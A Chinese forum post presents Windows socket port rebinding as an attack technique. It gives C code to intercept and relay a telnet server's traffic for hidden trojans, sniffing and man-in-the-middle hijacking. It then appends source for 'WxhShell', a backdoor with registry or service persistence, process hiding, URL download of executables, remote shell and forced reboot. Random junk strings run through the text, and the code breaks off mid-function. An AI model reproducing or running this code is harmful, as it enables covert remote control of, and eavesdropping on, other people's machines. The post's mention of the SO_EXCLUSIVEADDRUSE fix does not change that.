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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )19As8rL/o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9Se7 1  
^ $M@yWX6  
  saddr.sin_family = AF_INET; HeagT(rN'  
K; 7o+Xr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !vU$^>zo~  
L-  -  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b5hJaXJN  
Kp +Lk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q][{?  
&^C <J  
  这意味着什么?意味着可以进行如下的攻击: g7*ii X  
l^s\^b=W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qHGXs@*M&  
y`?{ 2#1H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Im;8Abf  
tdTD!'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V[R33NYG  
YlW~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oJ cR)H  
$'I+] ;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E$-u:Z<-  
!$"DD[~\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2 0Xqs,  
(~~*PT-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W|K"0ab  
WKf->W  
  #include mJ=3faM  
  #include pSQ)DqW  
  #include y9?~^pTx  
  #include    uaMf3HeYV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _c=[P@  
  int main() h&3*O[`  
  { Ex'6 WN~kD  
  WORD wVersionRequested; %[:\ZwT,-  
  DWORD ret; M <oy  
  WSADATA wsaData; FhZ^/= As  
  BOOL val; i<N[sO  
  SOCKADDR_IN saddr; _~aFzM  
  SOCKADDR_IN scaddr; D-7PO3F:F  
  int err; *xEcX6ZHX  
  SOCKET s; 93="sS  
  SOCKET sc; 6&o9mc\I  
  int caddsize; ?UC3ES  
  HANDLE mt; _pSCv:3T  
  DWORD tid;   M{U{iS  
  wVersionRequested = MAKEWORD( 2, 2 ); J`U\3:b`SP  
  err = WSAStartup( wVersionRequested, &wsaData ); ;$|[z<1RdW  
  if ( err != 0 ) { 3PB#m.N<  
  printf("error!WSAStartup failed!\n"); P@ewr}  
  return -1; -c-#1_X5  
  } C WJGr:}&  
  saddr.sin_family = AF_INET; {Mc^[}9  
   bkQEfx.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Vy;f4;I{  
<MgR x9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2IgTB|2  
  saddr.sin_port = htons(23); MS~c  $  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C9-IJj  
  { \{F{yq(  
  printf("error!socket failed!\n"); u~#QvA~]  
  return -1; vEJ2d&  
  } 9$&+0  
  val = TRUE; hlPZTr=a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9Foo8e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )D ^.{70N  
  { ;[*jLi,uc  
  printf("error!setsockopt failed!\n"); ^qL2Q*  
  return -1; }]1=?:tX%  
  } 2Y~6~*8*~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3V]B|^S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kG:,Ff>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q=bW!.#?  
l MCoc'ae  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _qg)^M6  
  { O$}p}%%y7  
  ret=GetLastError(); r<]Db&k   
  printf("error!bind failed!\n"); M)Iu'  
  return -1; aRBTuLa)fo  
  } ^dB~#A1  
  listen(s,2); [KA&KI^hF  
  while(1) wB6 ILTu1  
  { ViV"+b#gu  
  caddsize = sizeof(scaddr); }."3&u't  
  //接受连接请求 c@RMy$RTF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $x,?+N  
  if(sc!=INVALID_SOCKET) +NGjDa  
  { acuch  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (pBOv:6  
  if(mt==NULL) nQuiRTU<  
  { 6Z~u2&  
  printf("Thread Creat Failed!\n"); vn"2"hPF|  
  break; SFrQPdX6V  
  } E#t;G: +A  
  } =M"H~;f]  
  CloseHandle(mt); `UFRv   
  } *vn^ W  
  closesocket(s); `ReTfz;o  
  WSACleanup(); QJc3@  
  return 0; ~b+TkPU   
  }   Qq;` 9-&j  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8'Dp3x^W>  
  { lWS @<j  
  SOCKET ss = (SOCKET)lpParam; c"OBm#  
  SOCKET sc; aC0[OmbG  
  unsigned char buf[4096]; H=E`4E#k  
  SOCKADDR_IN saddr; [%(}e1T(  
  long num; P(I`^x  
  DWORD val; 'P{0K?{H-4  
  DWORD ret; Fw!wSzsk3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {9sA'5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \|20E51B[  
  saddr.sin_family = AF_INET; `oP<mLxle  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^|^ek  
  saddr.sin_port = htons(23); n}9vAvC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6AeX$>k+  
  { -lHSojq~H  
  printf("error!socket failed!\n"); fj X~"U  
  return -1; ZD{%0 uh  
  } +]|aACt]  
  val = 100; 'Eds0"3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -x~h.s,  
  { Xg:w;#r,  
  ret = GetLastError(); *<k8H5z8]  
  return -1; ;K<e]RI;?  
  } QjH;'OVt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ' N$hbl  
  { o -tc}Aa  
  ret = GetLastError();  |4uH  
  return -1; \\F^uM7,  
  } .<zW(PW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KK; 3<kX  
  { y6.}h9~  
  printf("error!socket connect failed!\n"); ~_WsjD0O  
  closesocket(sc); pEk^;  
  closesocket(ss); ,Y&LlB 2  
  return -1; Le3H!9lbc  
  } ,i>u>YNZ  
  while(1) 3-cCdn  
  { L3:dANG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Wz)O,X^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0yW#).D^b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fl| 8#\r  
  num = recv(ss,buf,4096,0); n>]`8+a~%X  
  if(num>0) C"bG?Mb  
  send(sc,buf,num,0); )%rGD =2~  
  else if(num==0) X|+o4R?  
  break; z @\C/wX  
  num = recv(sc,buf,4096,0); R;,&s!\<  
  if(num>0) N6wea]  
  send(ss,buf,num,0); cIqk=_]  
  else if(num==0) {awv= s  
  break; .`Ey'T_  
  } q{v:T}Q|A  
  closesocket(ss); D=}UKd  
  closesocket(sc); %H=d_Nm{  
  return 0 ; YXE?b@W"  
  } X`km\\*  
/BB(riG  
]v=*WK  
========================================================== v"M5';ZS>  
 zjVBMqdD  
下边附上一个代码,,WXhSHELL *Ag</g@ h  
AR9D;YfR~  
========================================================== j)4:*R.Z]  
+_Nr a  
#include "stdafx.h" ,ra!O=d~0  
S a5+_TW  
#include <stdio.h> -dXlGOD+C  
#include <string.h> ? b;_T,S[  
#include <windows.h> (_S`9Z8=  
#include <winsock2.h> x] [/9e  
#include <winsvc.h> u6o:~=WwM  
#include <urlmon.h> mQ 1)d5  
uC{qaMQ  
#pragma comment (lib, "Ws2_32.lib") JCoDe.  
#pragma comment (lib, "urlmon.lib") VOc_7q_=  
C!KxY/*Px  
#define MAX_USER   100 // 最大客户端连接数 R`}C/'Ty  
#define BUF_SOCK   200 // sock buffer -# 0(Jm'  
#define KEY_BUFF   255 // 输入 buffer 6&8([J  
}SL&Y`Y]  
#define REBOOT     0   // 重启 `#O%ZZ+  
#define SHUTDOWN   1   // 关机 #CKPNk c  
N$1ZA)M  
#define DEF_PORT   5000 // 监听端口  lJaR,,  
j`JY3RDD  
#define REG_LEN     16   // 注册表键长度 W;~ f865  
#define SVC_LEN     80   // NT服务名长度 (S1c6~  
on?<3eED  
// 从dll定义API +/u)/ey  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E`#m0Q(8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RLBeti>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x*}41;j}C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wf47Ulx  
A*d Pw.  
// wxhshell配置信息 }j=UO*|  
struct WSCFG { &)UZ9r`z  
  int ws_port;         // 监听端口 oNW.-gNT  
  char ws_passstr[REG_LEN]; // 口令 uSnG=tB  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0 p  6  
  char ws_regname[REG_LEN]; // 注册表键名 t%@sz  
  char ws_svcname[REG_LEN]; // 服务名 a=(D`lQ8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @qP uYFnw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N?cvQR{r9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S0,q@LV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !*2cK>`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K%NNw7\A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZL!,s#  
Ze `=n  
}; bf1Tky=/  
ODvlix  
// default Wxhshell configuration U^qQ((ek  
struct WSCFG wscfg={DEF_PORT, p mv6m  
    "xuhuanlingzhe", 0,1x- yD  
    1, HEqTlnxUu  
    "Wxhshell", R8[l\Y>Ec  
    "Wxhshell", ?HD(EGdx  
            "WxhShell Service", Q;9-aZ.H  
    "Wrsky Windows CmdShell Service", C\%T|ZDE  
    "Please Input Your Password: ", tK@|sZ>3\  
  1, "*08?KA  
  "http://www.wrsky.com/wxhshell.exe", L`sg60z  
  "Wxhshell.exe" .3xpDVW^e  
    }; &BF97%E2  
:bBLP7eyV  
// 消息定义模块 JmMB=} <  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xe;Eu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;<=Z\NX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @bPR"j5D  
char *msg_ws_ext="\n\rExit."; /j7e q  
char *msg_ws_end="\n\rQuit."; &j}08aK%  
char *msg_ws_boot="\n\rReboot..."; 9;W 2zcN  
char *msg_ws_poff="\n\rShutdown..."; *\#/4_yB}  
char *msg_ws_down="\n\rSave to "; 12{F  
Uh6LU5  
char *msg_ws_err="\n\rErr!"; 5 ynBVrYf  
char *msg_ws_ok="\n\rOK!"; ;Fo%R$y  
c@SNbY4}%  
char ExeFile[MAX_PATH]; }sy^ed  
int nUser = 0; GvAP  
HANDLE handles[MAX_USER]; U}#3 LFr.?  
int OsIsNt; %"<|u)E  
o%EzK;Df  
SERVICE_STATUS       serviceStatus; .>QzM>zO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y!z2+q2  
5OHg% ^  
// 函数声明 [{!K'V  
int Install(void); MP/@Mf\<E  
int Uninstall(void); *R'r=C`  
int DownloadFile(char *sURL, SOCKET wsh); aPU.fER  
int Boot(int flag); >(EC.ke  
void HideProc(void); ? <F=*eS  
int GetOsVer(void); .[8! E_  
int Wxhshell(SOCKET wsl); "0*yD[2  
void TalkWithClient(void *cs); w!/\dqjv  
int CmdShell(SOCKET sock); ^$FNu~|K  
int StartFromService(void); s<z`<^hRe  
int StartWxhshell(LPSTR lpCmdLine); _ MsO2A  
2/WtOQI B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PpXzWWU":  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mS$9D{  
[zC1LTXe  
// 数据结构和表定义 |Do+=Gr$t@  
SERVICE_TABLE_ENTRY DispatchTable[] = P}`|8b1W  
{ PL/g@a^tY  
{wscfg.ws_svcname, NTServiceMain}, $Cgl$A  
{NULL, NULL} wDQ@$T^vh  
}; >-&B#Z^,  
8k( zU>^  
// 自我安装 -JKl\E  
int Install(void) 34*73WxK  
{ lpq) vKM}^  
  char svExeFile[MAX_PATH]; `Wl_yC_*G;  
  HKEY key; m&PfZ%'[  
  strcpy(svExeFile,ExeFile); Ob~7w[n3  
]QU 9|1  
// 如果是win9x系统,修改注册表设为自启动 saRYd{%+  
if(!OsIsNt) { MV{\:l}y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ Xa,|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %fT%,( w}t  
  RegCloseKey(key); -R]Iu\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vU,V[1^a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A ".v+  
  RegCloseKey(key); @d&JtA  
  return 0; TS_5R>R3  
    } ^l:~r2  
  } PFKl6_(  
} aM7e?.rU  
else { f]pHJVgFV  
AX%N:)_$|  
// 如果是NT以上系统,安装为系统服务 G?M<B~}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k~0#Iy_{M  
if (schSCManager!=0) r*q  
{ cv{icz,%w  
  SC_HANDLE schService = CreateService 3u 'VPF2  
  ( 7"_m?c8  
  schSCManager, zb]e {$q2C  
  wscfg.ws_svcname, QkFB \v  
  wscfg.ws_svcdisp, aZ,j1j0p  
  SERVICE_ALL_ACCESS, -l Y,lC>{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m >Rdsn~l  
  SERVICE_AUTO_START, A_!N,< -  
  SERVICE_ERROR_NORMAL, H9\,;kM)  
  svExeFile, "u.'JE;j  
  NULL, D_N0j{E  
  NULL, }>5R9  
  NULL, +F?}<P_v  
  NULL, tP:ER  
  NULL /n2qW.qJ>  
  ); n2(`O^yd7C  
  if (schService!=0) ]')  
  { j%U'mGx  
  CloseServiceHandle(schService); ynZp|'b?<  
  CloseServiceHandle(schSCManager); 1!%T<!A.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]+k]Gbty6  
  strcat(svExeFile,wscfg.ws_svcname); Yu}[RXC(=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4C#r=Uw`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eP|_  
  RegCloseKey(key); pJ3-f k"i  
  return 0; w61*jnvi@  
    } WK.K-bd  
  } 2@6Qifxd@  
  CloseServiceHandle(schSCManager); Ueu~803~  
} N79?s)l:K  
} 0iAQ;<*xi  
4Uk\hgT0  
return 1; z j F'CY  
} e#AmtheZR  
XxYwBc'pc  
// 自我卸载 R0#'t+7^  
int Uninstall(void) rQ-,mq  
{ Rb_%vOM  
  HKEY key; TFNB %|  
Hmx Y{KB  
if(!OsIsNt) { [k]3#<sS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { czLY+I;V3  
  RegDeleteValue(key,wscfg.ws_regname); pkE4"M!3=  
  RegCloseKey(key); B/_~j_n$m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  9+ A~(  
  RegDeleteValue(key,wscfg.ws_regname); eJ0Xfw%y%T  
  RegCloseKey(key); FfC\uuRe  
  return 0; 6zp]SPY  
  } gF2,Jm@"6  
} zEKVyZd*{  
} m++=FsiX=  
else { Lng@'Yr  
_]zH4o<p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l[6lXR&|  
if (schSCManager!=0) 0m,q3  
{ `< 82"cAT{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hK UK#xx  
  if (schService!=0) z?Cez*.h>  
  { ;LC?3.  
  if(DeleteService(schService)!=0) { 7lx]`u>  
  CloseServiceHandle(schService); rhDiIO_  
  CloseServiceHandle(schSCManager); [;Jq=G8&t  
  return 0; 6 u1|pX8  
  } 4iv&!hAc;  
  CloseServiceHandle(schService); zGwM# -  
  } #l 6QE=:  
  CloseServiceHandle(schSCManager); [ <j4w  
} wzF%R {;  
} P& h]uNu  
Q0%s|8Jc  
return 1; HPX JRQBE  
} uE}$ZBi q  
X>i{288M3  
// 从指定url下载文件 cAn_:^  
int DownloadFile(char *sURL, SOCKET wsh) A[`2Mnj  
{ !-m 'diE  
  HRESULT hr;  (F&o!W  
char seps[]= "/"; *mz-g7  
char *token; N<O<wtXIj  
char *file; iB}*<~`.Eg  
char myURL[MAX_PATH]; b"nD5r  
char myFILE[MAX_PATH]; }LY)FT4n  
}J`cRDO  
strcpy(myURL,sURL); &Z(6i}f,Gp  
  token=strtok(myURL,seps); -' =?Hs.  
  while(token!=NULL) G8.nKoHv7x  
  { G0he'BR  
    file=token; ^vJy<  
  token=strtok(NULL,seps); A: O"N  
  } zJ_y"bt  
oS~;>]W  
GetCurrentDirectory(MAX_PATH,myFILE); +OZ\rs  
strcat(myFILE, "\\"); HLCI  
strcat(myFILE, file); hOYP~OR  
  send(wsh,myFILE,strlen(myFILE),0); k3T374t1b  
send(wsh,"...",3,0); ? U* `!-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !j& #R%D  
  if(hr==S_OK) "TVmxE%(  
return 0; ~ \b~  
else #S(b2LEc  
return 1; 7u:QT2=&  
+(Jh$b_  
} ?aguAqG$  
;?y~ h$  
// 系统电源模块 #itZ~tol  
int Boot(int flag) =imJ0V~RW  
{ /i{V21(%  
  HANDLE hToken; ^mouWw)a_  
  TOKEN_PRIVILEGES tkp; TPYh<p#  
?KWo1  
  if(OsIsNt) { @p@b6iLpO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iqFC~].)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KV! (   
    tkp.PrivilegeCount = 1; Q\}Ck+d` a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =y=MljEX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &(m01  
if(flag==REBOOT) { Hp*N%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -@XOe&q  
  return 0; AwZz}J+  
} Ph)>;jU  
else { 7~SnY\B|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o+Mc%O Z  
  return 0; TkVqv v  
} !;Ke#E_d  
  } %/d1x  
  else { s{*bFA Z1F  
if(flag==REBOOT) { Z)f?X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {&a6<y#-  
  return 0; ^b4i9n,t1  
} m ?*h\NaB  
else { 5?0~7^de  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pj_*,L`mZ  
  return 0; {q^UWv?1  
} ,YJn=9pTl  
} &A=c[pc  
P&yB(M-z  
return 1; F:~@e(  
} ay#f\P!1  
=2YXh,i  
// win9x进程隐藏模块 cgO<%_l3`  
void HideProc(void) c& K`t  
{ /&9R*xNST#  
JIsi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yq1 G6hw  
  if ( hKernel != NULL ) +|TXKhm{  
  { v3G$9 (NE;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UY .-Qt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p=\Q7<Z6d,  
    FreeLibrary(hKernel); qt6@]Y  
  } [NV/*>"j&  
j<R&?*  
return; >WLHw!I!6  
} nFWiS~(#sW  
V9Dq<y-y  
// 获取操作系统版本 2qQ;U?:q  
int GetOsVer(void) !N!AO(Z  
{ x[u6_6=q9  
  OSVERSIONINFO winfo; qj4jM7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w"W;PdH)  
  GetVersionEx(&winfo); x&r f]R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?6HnN0A)  
  return 1; IVVX3RI  
  else 5tk7H2K^<  
  return 0; *!j!o%MB  
} J/3$I  
skU }BUK6  
// 客户端句柄模块 ]u:_r)T  
int Wxhshell(SOCKET wsl) C=IN "  
{ s< Fp17  
  SOCKET wsh; ,L C(Ax'.F  
  struct sockaddr_in client; @ 2On`~C`  
  DWORD myID; `Y^l.%AZZ  
% [~0<uO  
  while(nUser<MAX_USER) dn:\V?9  
{ K=r~+4F  
  int nSize=sizeof(client); 9m\Yi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uKj(=Rqq  
  if(wsh==INVALID_SOCKET) return 1; KzJJ@D*4M]  
Q- w_ @~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /`0>U  
if(handles[nUser]==0) >UV}^OO  
  closesocket(wsh); KT7R0v  
else .*X=[" F  
  nUser++; c]i;0j? Dl  
  } IkG;j+=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jp1e3 Cg  
!}5rd\  
  return 0; yb)qg]2  
} IM,4Si2  
P s<k2  
// 关闭 socket 5X9Lh_p  
void CloseIt(SOCKET wsh)  Pa?{}A  
{ fsWIz1K  
closesocket(wsh); nrX+  '  
nUser--; i r'C(zD=  
ExitThread(0); '&2-{Y [!  
} 27}7 n  
Z~}9^(qc  
// 客户端请求句柄 9M ;Y$Z  
void TalkWithClient(void *cs) M?o_J4  
{ `~=NBN=tiL  
eKo=g|D  
  SOCKET wsh=(SOCKET)cs; ;lS sy  
  char pwd[SVC_LEN]; L)1\=[Ov  
  char cmd[KEY_BUFF]; `C$QR 8  
char chr[1]; YK5(oKFN  
int i,j; h0HK~S#xBv  
~|N,{GaL  
  while (nUser < MAX_USER) { `U|zNizO  
0cVxP)J+  
if(wscfg.ws_passstr) { 9MQjSNYzo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {+[ Ex2b$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &pR 8sySu  
  //ZeroMemory(pwd,KEY_BUFF); l?YO!$  
      i=0; >YsM'.EFD  
  while(i<SVC_LEN) { 7\ZSXQy1W  
g_A#WQyh\'  
  // 设置超时 7%[ YX  
  fd_set FdRead; |.$7.8g  
  struct timeval TimeOut; MOay^{u  
  FD_ZERO(&FdRead); Y9&na&vY?  
  FD_SET(wsh,&FdRead); x34GRe!!  
  TimeOut.tv_sec=8; B|8|f(tsSa  
  TimeOut.tv_usec=0; /{[p?7x>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q~Al[`K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rl&.|;5uH;  
^SW9J^9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K4+|K:e  
  pwd=chr[0]; 6eA)d#  
  if(chr[0]==0xd || chr[0]==0xa) { I6gduvkXi4  
  pwd=0; YpRhl(|  
  break; GV28&!4sS  
  } p )]x,F  
  i++; pf+VYZ#)  
    } tkkh<5{C   
r. (}  
  // 如果是非法用户,关闭 socket 7$t['2j3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wA)n ryXV  
} #0\* 8 6  
k#7A@Vb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); euW   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N9y+P sh  
W-Vc6cq  
while(1) { %Pj}  
~*UY[!+4^=  
  ZeroMemory(cmd,KEY_BUFF); 7,8TMd1`M  
8?x:PkK  
      // 自动支持客户端 telnet标准   pYu6[  
  j=0; /L5:/Z  
  while(j<KEY_BUFF) { Y>ATL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3-)}.8F  
  cmd[j]=chr[0]; uPxjW"M+  
  if(chr[0]==0xa || chr[0]==0xd) { g5u4|+70  
  cmd[j]=0; LafBf6wds  
  break; 12_ 7UWZ"  
  } 8G9( )UF.  
  j++; 0 0|!g"E>$  
    } B7YE+  
& 9 c^9<F  
  // 下载文件 065=I+Vo  
  if(strstr(cmd,"http://")) { 0PsQ 1[1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zA:q/i  
  if(DownloadFile(cmd,wsh)) jUgx ;=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A wk1d  
  else ; sqxFF@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zK{}   
  } ?r5a*  
  else { 9_e_Ne`i`?  
3(vm'r&5n>  
    switch(cmd[0]) { ='_3qn.  
  i\gt @  
  // 帮助 _-^mxC|M  
  case '?': { [TFp2B~)#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8lS RK%  
    break; j]]5&u/l  
  } m/(/!MVy  
  // 安装 7Cbr'!E\_V  
  case 'i': { J#t8xL  
    if(Install()) $b2~H+u(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T!HAE#xC  
    else :nc%:z=O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /=A@O !l  
    break; rmtCCPF?0  
    } [?;L  
  // 卸载 9 `q(_\x  
  case 'r': { R rYNtc  
    if(Uninstall()) <F"G~.^ *s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?4Fev_5m  
    else 5p5"3m;M7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); apgKC;  
    break; Wm5[+z|2?9  
    } QnS#"hc\a  
  // 显示 wxhshell 所在路径 *M0O&"~j  
  case 'p': { `P-d. M6Oa  
    char svExeFile[MAX_PATH]; W1t_P&i  
    strcpy(svExeFile,"\n\r"); F:[[@~z  
      strcat(svExeFile,ExeFile); pSIXv%1J  
        send(wsh,svExeFile,strlen(svExeFile),0); rOO10g  
    break; VGu(HB8n#  
    } 1 XJZuv,T:  
  // 重启 [7[Qw]J  
  case 'b': { pF8:?p['z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); * LWihal  
    if(Boot(REBOOT)) p>:.js5.a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?i\V^3S n$  
    else { ;C , g6{  
    closesocket(wsh); FeQo,a  
    ExitThread(0); =MD)F  
    } GC3d7  
    break; :,j^ei  
    } b9 li   
  // 关机 <w8H[y"c  
  case 'd': { ImH9 F\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0Q8iX)  
